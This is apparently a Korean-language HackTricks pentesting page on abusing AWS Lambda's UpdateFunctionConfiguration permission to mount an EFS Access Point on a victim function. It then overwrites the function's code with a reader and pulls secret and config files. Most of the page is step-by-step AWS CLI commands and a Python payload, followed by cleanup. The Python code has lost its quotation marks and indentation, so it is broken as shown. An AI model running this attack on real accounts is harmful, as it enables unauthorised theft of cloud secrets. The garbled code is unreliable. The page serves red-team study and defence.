AWS Lambda – EFS Mount Injection via UpdateFunctionConfiguration (Data Theft)

Reading time: 3 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

lambda:UpdateFunctionConfiguration을 악용해 기존 EFS Access Point를 Lambda에 연결한 다음, 마운트된 경로에서 파일을 나열/읽기하는 단순 코드를 배포하여 해당 함수가 이전에는 접근할 수 없었던 공유된 비밀/구성 정보를 탈취합니다.

요구 사항

  • 피해자 계정/주체에 필요한 권한:
  • lambda:GetFunctionConfiguration
  • lambda:ListFunctions (함수 검색용)
  • lambda:UpdateFunctionConfiguration
  • lambda:UpdateFunctionCode
  • lambda:InvokeFunction
  • efs:DescribeMountTargets (마운트 대상 존재 확인용)
  • 환경 가정:
  • 대상 Lambda가 VPC 사용 설정되어 있고 해당 서브넷/SGs가 TCP/2049를 통해 EFS 마운트 대상 SG에 도달할 수 있어야 합니다 (예: 역할에 AWSLambdaVPCAccessExecutionRole이 있고 VPC 라우팅이 이를 허용하는 경우).
  • EFS Access Point는 동일한 VPC에 있어야 하며 Lambda 서브넷의 AZs에 마운트 대상이 있어야 합니다.

공격

  • 변수
REGION=us-east-1
TARGET_FN=<target-lambda-name>
EFS_AP_ARN=<efs-access-point-arn>
  1. EFS Access Point를 Lambda에 연결
aws lambda update-function-configuration \
--function-name $TARGET_FN \
--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \
--region $REGION
# wait until LastUpdateStatus == Successful
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
  1. 코드를 간단한 reader로 덮어써 파일을 나열하고 후보 secret/config 파일의 처음 200바이트를 확인한다
cat > reader.py <<PY
import os, json
BASE=/mnt/ht

def lambda_handler(e, c):
out={ls:[],peek:None}
try:
for root, dirs, files in os.walk(BASE):
for f in files:
p=os.path.join(root,f)
out[ls].append(p)
cand = next((p for p in out[ls] if secret in p.lower() or config in p.lower()), None)
if cand:
with open(cand,rb) as fh:
out[peek] = fh.read(200).decode(utf-8,ignore)
except Exception as ex:
out[err]=str(ex)
return out
PY
zip reader.zip reader.py
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://reader.zip --region $REGION
# If the original handler was different, set it to reader.lambda_handler
aws lambda update-function-configuration --function-name $TARGET_FN --handler reader.lambda_handler --region $REGION
until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done
  1. 호출하고 데이터 가져오기
aws lambda invoke --function-name $TARGET_FN /tmp/efs-out.json --region $REGION >/dev/null
cat /tmp/efs-out.json

출력에는 /mnt/ht 아래의 디렉터리 목록과 EFS에서 선택한 비밀/설정 파일의 간단한 미리보기가 포함되어야 합니다.

Impact

나열된 권한을 가진 공격자는 임의의 in-VPC EFS Access Points를 피해자 Lambda 함수에 마운트하여 해당 함수에서 이전에는 접근할 수 없었던 EFS에 저장된 공유 구성 및 비밀을 읽고 exfiltrate할 수 있습니다.

Cleanup

aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기